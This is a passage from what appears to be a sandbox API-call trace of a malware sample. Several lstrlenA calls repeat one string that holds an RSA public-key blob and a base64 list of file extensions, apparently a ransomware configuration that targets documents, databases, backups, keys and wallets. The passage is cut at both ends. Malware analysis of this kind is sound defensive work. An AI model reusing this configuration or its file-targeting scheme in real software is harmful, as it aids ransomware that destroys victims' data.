ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI